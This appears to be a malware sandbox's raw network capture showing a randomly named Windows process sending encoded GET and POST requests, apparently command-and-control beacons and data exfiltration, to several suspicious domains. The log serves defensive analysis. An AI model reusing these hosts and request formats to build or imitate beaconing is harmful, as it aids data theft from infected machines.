Jan 9, 2025 16:57:07.466294050 CET	1057	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:07 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=O4WYtCaLEnUX2VSFNq%2FqIwxr%2FeBLm8p6A2l8ta%2B%2FdYaAUOTCSygldZ%2B52CBVVBLmPxtND1Gd2YpygCyX%2FAHRf5fviTFOnUbf1OWkETVoqvdYbbirkwGf6qH5gaj97YSuHFRCOW5hYw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59f082da1874f-ORD Content-Encoding: gzip alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=118836&min_rtt=118836&rtt_var=59418&sent=2&recv=6&lost=0&retrans=0&sent_bytes=0&recv_bytes=3948&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 64 38 0d 0a 1f 8b 08 00 00 00 00 00 00 03 4c 8f c1 6e c2 30 10 44 ef fe 8a 2d 77 b2 01 71 e8 61 65 a9 25 41 45 0a 34 6a cd 81 a3 c1 5b 19 89 c6 c6 de 34 e2 ef ab 04 55 ea 75 e6 cd 68 86 9e aa f7 b5 39 b6 35 bc 99 5d 03 ed e1 b5 d9 ae 61 36 47 dc d6 66 83 58 99 ea e1 2c 8b 12 b1 de cf b4 22 2f df 57 4d 9e ad d3 8a e4 22 57 d6 ab 72 05 fb 20 b0 09 7d e7 08 1f a2 22 9c 20 3a 05 77 1f 73 0b fd 8f f1 0b ad 28 6a e3 19 12 df 7a ce c2 0e 0e 1f 0d 0c 36 43 17 04 be 46 0e 42 07 e2 2f 19 32 a7 1f 4e 05 61 1c 9b 92 56 64 9d 4b 9c b3 7e 89 f6 ec 19 3e 27 00 ac c0 30 0c c5 a9 bf e7 c8 7c f6 59 8a ec 43 84 36 24 81 e7 92 f0 2f a6 08 a7 5d 84 d3 9f 5f 00 00 00 ff ff 0d 0a Data Ascii: d8Ln0D-wqae%AE4j[4Uuh95]a6GfX,"/WM"Wr }" :ws(jz6CFB/2NaVdK~>'0\|YC6$/]_
Jan 9, 2025 16:57:07.466348886 CET	16	IN	Data Raw: 62 0d 0a e3 02 00 2b bb 83 fa 0a 01 00 00 0d 0a Data Ascii: b+
Jan 9, 2025 16:57:07.466401100 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.11.30	49873	104.21.32.1	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:09.817972898 CET	539	OUT	GET /w98i/?6B-l7F=UfwHaNGeM7ohZqxLfFoMCRROWED3zeeFYxLhiKeMkeFhJQngpiBu1nR/iO/Vw2KMOuQK2IyXNyNkQANnRhWnyAeSvZ4PYAj0T7gn5VntXdX45GkikqbyqPY=&80k=lRapCPMXgDk HTTP/1.1 Host: www.buyspeechst.shop Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:57:10.238609076 CET	1077	IN	HTTP/1.1 404 Not Found Date: Thu, 09 Jan 2025 15:57:10 GMT Content-Type: text/html; charset=iso-8859-1 Transfer-Encoding: chunked Connection: close cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=dCoKElnvZjL8eD3iYDX9OYPTFhsb14hFxTPkx%2BbLOw9KH5IsIzakScLCZd90t2O0akzI26K5JKnnGybcP8WLlCqDSUKk2XIyYIX0m9W2rRXNFHmakYfy9ZCm2C%2BGFl%2B7jfdUZGXihQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ff59f18cd10a49b-ORD alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=119224&min_rtt=119224&rtt_var=59612&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=539&delivery_rate=0&cwnd=248&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 30 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 20 53 65 72 76 65 72 20 61 74 20 77 77 77 2e 62 75 79 73 70 65 65 63 68 73 74 2e 73 68 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a 0d 0a Data Ascii: 10a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache Server at www.buyspeechst.shop Port 80</address></body></html>
Jan 9, 2025 16:57:10.238626003 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.11.30	49874	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:15.769455910 CET	796	OUT	POST /gcvb/ HTTP/1.1 Host: www.lejgnu.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.lejgnu.info Referer: http://www.lejgnu.info/gcvb/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 63 31 68 32 58 53 44 4d 72 37 77 67 52 6e 70 6b 4d 35 5a 31 6c 38 49 41 6d 35 53 41 74 58 47 5a 43 4a 45 66 4b 65 70 61 33 56 4d 39 73 4b 31 44 75 50 6e 33 75 4f 71 6a 49 36 6e 41 63 71 36 5a 76 36 44 4e 41 48 6a 4d 69 61 4e 36 79 35 36 35 4c 62 75 41 2b 43 73 78 75 71 42 75 70 43 44 42 43 75 65 33 78 5a 4f 58 61 61 66 6c 65 69 54 44 51 53 2f 30 73 44 74 48 62 70 6e 32 79 31 6f 59 45 66 67 36 47 68 33 62 69 56 6c 6e 67 51 72 50 42 6b 7a 4e 58 51 6a 78 58 64 63 58 50 78 62 74 71 46 4d 44 69 30 4e 6d 6f 46 62 59 35 33 2f 66 78 46 78 61 58 6d 31 32 71 75 75 2f 74 52 50 74 76 51 3d 3d Data Ascii: 6B-l7F=c1h2XSDMr7wgRnpkM5Z1l8IAm5SAtXGZCJEfKepa3VM9sK1DuPn3uOqjI6nAcq6Zv6DNAHjMiaN6y565LbuA+CsxuqBupCDBCue3xZOXaafleiTDQS/0sDtHbpn2y1oYEfg6Gh3biVlngQrPBkzNXQjxXdcXPxbtqFMDi0NmoFbY53/fxFxaXm12quu/tRPtvQ==
Jan 9, 2025 16:57:16.761316061 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:57:16 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.11.30	49875	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:18.625554085 CET	816	OUT	POST /gcvb/ HTTP/1.1 Host: www.lejgnu.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 223 Content-Type: application/x-www-form-urlencoded Origin: http://www.lejgnu.info Referer: http://www.lejgnu.info/gcvb/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 63 31 68 32 58 53 44 4d 72 37 77 67 51 45 78 6b 4b 5a 6c 31 69 63 49 44 73 5a 53 41 69 33 47 64 43 4f 4d 66 4b 61 77 58 33 47 34 39 76 76 52 44 74 4c 4c 33 70 4f 71 6a 63 71 6e 4a 53 4b 36 51 76 36 65 77 41 43 4c 4d 69 61 5a 36 79 37 53 35 4b 71 75 66 2b 53 73 4a 77 4b 42 37 74 43 44 42 43 75 65 33 78 5a 4b 74 61 61 58 6c 5a 54 6a 44 52 32 54 33 6b 6a 74 45 63 70 6e 32 67 46 6f 55 45 66 67 39 47 6a 43 4d 69 58 74 6e 67 51 37 50 50 57 62 4f 63 51 6a 33 50 39 64 54 47 42 36 70 68 6b 4d 78 78 55 42 76 6d 48 58 67 34 67 53 46 73 47 46 59 45 47 4a 62 32 76 44 58 76 54 4f 32 79 59 68 37 70 63 45 56 42 5a 7a 7a 4d 6f 35 70 48 33 6e 61 77 31 63 3d Data Ascii: 6B-l7F=c1h2XSDMr7wgQExkKZl1icIDsZSAi3GdCOMfKawX3G49vvRDtLL3pOqjcqnJSK6Qv6ewACLMiaZ6y7S5Kquf+SsJwKB7tCDBCue3xZKtaaXlZTjDR2T3kjtEcpn2gFoUEfg9GjCMiXtngQ7PPWbOcQj3P9dTGB6phkMxxUBvmHXg4gSFsGFYEGJb2vDXvTO2yYh7pcEVBZzzMo5pH3naw1c=
Jan 9, 2025 16:57:19.623817921 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:57:19 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.11.30	49876	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:21.479825974 CET	1289	OUT	POST /gcvb/ HTTP/1.1 Host: www.lejgnu.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 3339 Content-Type: application/x-www-form-urlencoded Origin: http://www.lejgnu.info Referer: http://www.lejgnu.info/gcvb/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 63 31 68 32 58 53 44 4d 72 37 77 67 51 45 78 6b 4b 5a 6c 31 69 63 49 44 73 5a 53 41 69 33 47 64 43 4f 4d 66 4b 61 77 58 33 48 41 39 76 5a 64 44 74 71 4c 33 6f 4f 71 6a 41 61 6e 45 53 4b 37 43 76 36 47 38 41 43 50 63 69 5a 68 36 39 34 71 35 4e 59 57 66 30 53 73 4a 34 71 41 63 70 43 43 44 43 75 75 7a 78 59 36 74 61 61 58 6c 5a 51 37 44 59 43 2f 33 70 44 74 48 62 70 6d 35 79 31 6f 34 45 66 6f 79 47 6a 57 63 69 56 39 6e 67 44 54 50 50 6a 76 4f 63 51 6a 33 51 64 64 6f 47 42 32 6f 68 6b 55 74 78 57 68 2f 6d 32 44 67 34 42 2f 30 39 57 56 42 51 33 39 33 77 50 50 31 67 79 79 2b 38 49 74 44 68 73 59 63 49 6f 37 74 50 63 70 75 63 69 37 39 74 7a 31 46 6b 41 4c 38 48 4b 6a 37 70 4a 76 6b 6c 4f 77 4a 61 6c 6f 35 51 57 6c 44 6b 4e 58 4e 77 62 68 4b 45 54 37 34 6a 35 53 64 4d 49 55 2b 62 61 65 38 32 2f 75 66 63 2f 75 37 45 73 70 65 4f 41 55 56 55 4d 65 75 44 45 7a 6e 52 32 4b 4f 6b 35 78 69 67 70 59 42 77 66 53 55 4c 6e 50 78 2b 50 6a 6b 58 6c 41 67 50 71 78 41 65 4f 76 4b 37 65 4a 6e 45 4e 46 [TRUNCATED] Data Ascii: 6B-l7F=c1h2XSDMr7wgQExkKZl1icIDsZSAi3GdCOMfKawX3HA9vZdDtqL3oOqjAanESK7Cv6G8ACPciZh694q5NYWf0SsJ4qAcpCCDCuuzxY6taaXlZQ7DYC/3pDtHbpm5y1o4EfoyGjWciV9ngDTPPjvOcQj3QddoGB2ohkUtxWh/m2Dg4B/09WVBQ393wPP1gyy+8ItDhsYcIo7tPcpuci79tz1FkAL8HKj7pJvklOwJalo5QWlDkNXNwbhKET74j5SdMIU+bae82/ufc/u7EspeOAUVUMeuDEznR2KOk5xigpYBwfSULnPx+PjkXlAgPqxAeOvK7eJnENFYNaBzAoeEpcTuzZThHdgA1us1yQJ5k3UPzTKBdTQLjftOAziSd+8e0aV/fBTOhC1aXK0iVODCrlXiQl0A4PO1AE5gAtxuP2PWSlLEZfcqelMKseR2rVxhAj/3SCji2sFgdNyh92gHQUA5luVDAQEHkq/WM0KrzBlPLYchXRcUBIaXapXATlnGW9cVY2q9MbiCibQU44K/L6h/xS+JjApF7eZy5NEq7H/ZXjJcYlihwHreGAglKyvEHL9N3qY73cPloOV5RmDFqQixjWSi64TrgEJKe6tSP9e6gYnsH3AKZbAyWCNWTKGw47E7uJTt5nZB19bTSceq+FlzraL+bdv5duootT4F/VjfvT+D
Jan 9, 2025 16:57:21.479873896 CET	2644	OUT	Data Raw: 32 73 42 56 36 6a 34 77 61 6d 37 68 4f 71 5a 6c 4a 44 68 67 68 6f 31 70 73 72 74 2b 77 50 59 31 2f 39 6b 68 45 31 77 4b 6e 73 73 62 77 75 47 68 52 63 53 77 75 7a 45 31 53 6b 79 44 56 58 2f 58 44 71 6c 32 48 46 59 4a 61 47 37 34 49 57 35 71 4c 41 Data Ascii: 2sBV6j4wam7hOqZlJDhgho1psrt+wPY1/9khE1wKnssbwuGhRcSwuzE1SkyDVX/XDql2HFYJaG74IW5qLApC4RnBWFlMDj4AzWeVlGKwg7/0haqil/zWE2x6qeT6981eZgj5O10YzCx3oVaAnuvRK3uZuSG8CKM9bJhVgm8ACquEXwUqy9SQoLkGZ+uGV0wFzDPJdp2rNdG7unjbDyUHymNw53pLMj8EIjl4GWtCP/KkJw1tB2z
Jan 9, 2025 16:57:22.481483936 CET	137	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:57:22 GMT Transfer-Encoding: chunked Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.11.30	49877	47.83.1.90	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:24.313226938 CET	534	OUT	GET /gcvb/?6B-l7F=R3JWUl3ivpsXcFtFFeliieQU9JuOkkLjcoMED/ZSuHZ0i4hSpIKzgOSsfpnIAqnHyqi+O0adg4Vr07jACry21CI+4oE0/hewEO2O8IWqeYD/JQ6qTGavsAY=&80k=lRapCPMXgDk HTTP/1.1 Host: www.lejgnu.info Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:57:25.324420929 CET	139	IN	HTTP/1.1 567 unknown Server: nginx/1.18.0 Date: Thu, 09 Jan 2025 15:57:25 GMT Content-Length: 17 Connection: close Data Raw: 52 65 71 75 65 73 74 20 74 6f 6f 20 6c 61 72 67 65 Data Ascii: Request too large

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.11.30	49878	194.9.94.85	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:33.712259054 CET	533	OUT	GET /js1x/?80k=lRapCPMXgDk&6B-l7F=YzadGC6YqOgjY/9t8WEBSxHCudcKSJxp0CcLO+Xh8dJmB8CdhvgUA7hRZF2xLQJtMCWb5Kgxi+xGIwqq0R102ShiT2rp0EsU7QKswOCkfsfu+tPWB6ee9FA= HTTP/1.1 Host: www.milp.store Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en Connection: close User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30
Jan 9, 2025 16:57:33.953876972 CET	1289	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 09 Jan 2025 15:57:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.30 Data Raw: 31 35 66 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 09 3c 68 65 61 64 3e 0a 3c 21 2d 2d 20 47 6f 6f 67 6c 65 20 54 61 67 20 4d 61 6e 61 67 65 72 20 2d 2d 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 77 2c 64 2c 73 2c 6c 2c 69 29 7b 77 5b 6c 5d 3d 77 5b 6c 5d 7c 7c 5b 5d 3b 77 5b 6c 5d 2e 70 75 73 68 28 7b 27 67 74 6d 2e 73 74 61 72 74 27 3a 0a 6e 65 77 20 44 61 74 65 28 29 2e 67 65 74 54 69 6d 65 28 29 2c 65 76 65 6e 74 3a 27 67 74 6d 2e 6a 73 27 7d 29 3b 76 61 72 20 66 3d 64 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 73 29 5b 30 5d 2c 0a 6a [TRUNCATED] Data Ascii: 15f9<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html xmlns="http://www.w3.org/1999/xhtml"><head>... Google Tag Manager --><script>(function(w,d,s,l,i){w[l]=w[l]\|\|[];w[l].push({'gtm.start':new Date().getTime(),event:'gtm.js'});var f=d.getElementsByTagName(s)[0],j=d.createElement(s),dl=l!='dataLayer'?'&l='+l:'';j.async=true;j.src='https://www.googletagmanager.com/gtm.js?id='+i+dl;f.parentNode.insertBefore(j,f);})(window,document,'script','dataLayer','GTM-NP3MFSK');</script>... End Google Tag Manager --> <meta http-equiv="X-UA-Compatible" content="IE=EDGE" /><meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><meta name="loopia-test" content="XsdXAIxha8q9Xjamck4H" /><title>Parked at Loopia</title> <link rel="apple-touch-icon" media="screen and (resolution: 163dpi)" href="https://static.loopia.se/responsive/images/iOS-57.png" /> <link rel="apple-touch-icon" media="screen and (resolution [TRUNCATED]
Jan 9, 2025 16:57:33.953973055 CET	1289	IN	Data Raw: 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 22 20 6d 65 64 69 61 3d 22 73 63 72 65 65 6e 20 61 6e 64 20 28 72 65 73 6f 6c 75 74 69 6f 6e 3a 20 33 32 36 64 70 69 29 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 6c 6f 6f 70 69 61 Data Ascii: le-touch-icon" media="screen and (resolution: 326dpi)" href="https://static.loopia.se/responsive/images/iOS-114.png" /> <meta name="viewport" content="initial-scale=1.0, maximum-scale = 1.0, width=device-width" /> <link rel="stylesheet
Jan 9, 2025 16:57:33.954088926 CET	1289	IN	Data Raw: 20 74 6f 20 76 69 65 77 20 74 68 65 20 64 6f 6d 61 69 6e 20 68 6f 6c 64 65 72 27 73 20 70 75 62 6c 69 63 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 2e 3c 2f 70 3e 0a 09 09 09 3c 70 3e 41 72 65 20 79 6f 75 20 74 68 65 20 6f 77 6e 65 72 20 6f 66 20 74 68 Data Ascii: to view the domain holder's public information.</p><p>Are you the owner of the domain and want to get started? Login to <a href="https://www.loopia.com/login?utm_medium=sitelink&utm_source=loopia_parkingweb&utm_campaign=parkingweb&utm_con
Jan 9, 2025 16:57:33.954170942 CET	1289	IN	Data Raw: 6c 20 63 6f 6e 74 72 6f 6c 20 6f 66 20 79 6f 75 72 20 64 6f 6d 61 69 6e 73 20 77 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 3c 2f 68 33 3e 0a 09 09 09 3c 70 3e 57 69 74 68 20 4c 6f 6f 70 69 61 44 4e 53 2c 20 79 6f 75 20 77 69 6c 6c 20 62 65 20 61 62 Data Ascii: l control of your domains with LoopiaDNS</h3><p>With LoopiaDNS, you will be able to manage your domains in one single place in Loopia Customer zone. <a href="https://www.loopia.com/loopiadns/?utm_medium=sitelink&utm_source=loopia_parkingwe
Jan 9, 2025 16:57:33.954265118 CET	661	IN	Data Raw: 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 70 61 72 6b 69 6e 67 77 65 62 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 68 6f 73 74 69 6e 67 22 20 63 6c 61 73 73 3d 22 62 74 6e 20 62 74 6e 2d 70 72 69 6d 61 72 79 22 3e 4f 75 72 Data Ascii: arkingweb&utm_campaign=parkingweb&utm_content=hosting" class="btn btn-primary">Our web hosting packages</a></div>... /END .main --><div id="footer" class="center"><span id="footer_se" class='lang_se'><a href="https://www.loop
Jan 9, 2025 16:57:33.954273939 CET	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.11.30	49879	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
Jan 9, 2025 16:57:39.122222900 CET	793	OUT	POST /jwa9/ HTTP/1.1 Host: www.chiro.live Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en Connection: close Cache-Control: no-cache Content-Length: 203 Content-Type: application/x-www-form-urlencoded Origin: http://www.chiro.live Referer: http://www.chiro.live/jwa9/ User-Agent: Mozilla/5.0 (Linux; U; Android 4.3; en-us; VirtualBox Build/JSS15J) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30 Data Raw: 36 42 2d 6c 37 46 3d 71 5a 73 37 35 31 75 39 68 4a 6a 45 62 31 62 57 4b 43 2f 49 59 6a 66 30 74 63 71 2f 61 71 46 51 5a 65 72 4a 55 45 2b 4d 72 70 30 61 7a 51 6d 75 45 61 6f 4c 2b 76 66 52 72 7a 69 56 36 5a 79 71 4b 70 58 61 2f 35 59 43 4f 6a 57 69 45 49 41 58 48 65 74 2b 58 4b 39 6d 49 63 6d 79 42 62 54 50 4f 52 34 78 58 52 2f 4f 66 30 38 4e 39 65 72 65 45 43 46 4a 79 61 6f 4d 51 48 78 52 6d 42 31 34 35 49 4d 6f 6e 4e 74 73 2b 6a 56 54 79 69 4f 61 43 63 45 4b 68 49 36 77 7a 64 34 78 57 49 34 33 32 56 4b 6e 4d 4d 30 6c 58 56 53 4a 6f 49 77 5a 33 4b 4c 4f 54 37 34 72 6e 7a 7a 6b 43 57 72 52 43 67 3d 3d Data Ascii: 6B-l7F=qZs751u9hJjEb1bWKC/IYjf0tcq/aqFQZerJUE+Mrp0azQmuEaoL+vfRrziV6ZyqKpXa/5YCOjWiEIAXHet+XK9mIcmyBbTPOR4xXR/Of08N9ereECFJyaoMQHxRmB145IMonNts+jVTyiOaCcEKhI6wzd4xWI432VKnMM0lXVSJoIwZ3KLOT74rnzzkCWrRCg==
Jan 9, 2025 16:57:39.268029928 CET	806	IN	HTTP/1.1 200 OK server: openresty/1.13.6.1 date: Thu, 09 Jan 2025 15:57:39 GMT content-type: text/html transfer-encoding: chunked content-encoding: gzip connection: close Data Raw: 32 36 36 0d 0a 1f 8b 08 00 00 00 00 00 00 03 8d 53 4d 73 da 30 10 bd e7 57 b8 3e 64 da 99 e2 2f 20 40 63 a7 93 50 3e eb 40 42 48 0c 5c 32 b2 a4 20 39 b2 e4 da b2 0d e9 f4 bf d7 c6 9d e0 0e 3d 54 07 4b bb de 7d bb ef ad 64 7f f8 36 ef 2f d7 77 03 85 c8 90 5d 9d d9 e5 a6 30 c0 b7 8e 8a b9 7a 75 a6 14 cb 26 18 a0 ea 78 30 43 2c 81 02 09 88 13 2c 1d f5 71 39 6c 74 ff 44 1e 7f 13 29 a3 06 fe 91 d2 cc 51 77 8d 14 34 a0 08 23 20 a9 cf b0 aa 40 c1 25 e6 45 ee 64 e0 60 b4 c5 27 d9 1c 84 d8 51 33 8a f3 48 c4 b2 96 90 53 24 89 83 70 46 21 6e 1c 8c cf 0a e5 54 52 c0 1a 09 04 0c 3b a6 66 d4 e1 24 95 0c 5f d9 7a b5 1f e8 1c 9a e4 22 81 31 8d e4 91 d6 bf 7b 8f f1 4b 8c 13 52 6b c1 b8 4c 63 e6 94 fc be e8 7a 9e e7 1d 43 83 84 c6 42 63 34 c3 ba aa e8 47 48 5b 3f 2d 63 1f d4 ab cb 73 5a a2 fd 7f 25 6c fd 38 18 db 17 68 af 08 ce 04 40 8e 8a c4 73 75 fc f8 a9 2e 46 45 59 91 fb a8 50 57 e2 9d d4 03 90 81 ca 5b 8b 2b 95 78 49 39 94 54 70 a5 06 a5 fc 7c d7 af 0c 29 57 4e 39 12 b9 26 45 a4 31 01 8b f9 0a ae 91 82 90 e2 28 [TRUNCATED] Data Ascii: 266SMs0W>d/ @cP>@BH\2 9=TK}d6/w]0zu&x0C,,q9ltD)Qw4# @%Ed`'Q3HS$pF!nTR;f$_z"1{KRkLczCBc4GH[?-csZ%l8h@su.FEYPW[+xI9Tp\|)WN9&E1(Q@Az_cIISh5VF\; &OM95Wz5p?'Of5e@E>5Qg">f#2V8,nI `x\|Bx3F,iUedE[dn;br!ZCx$1C]{Cy8js/-i7t`4LLzVzt~[^^.u0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.11.30	49880	45.33.2.79	80	5384	C:\Program Files (x86)\RvcRoKuxtBljxBeMzTFOHyhbWWJNAXUyqIDMHIhTvh\SwDwSdNMaTt.exe

Timestamp	Bytes transferred	Direction	Data
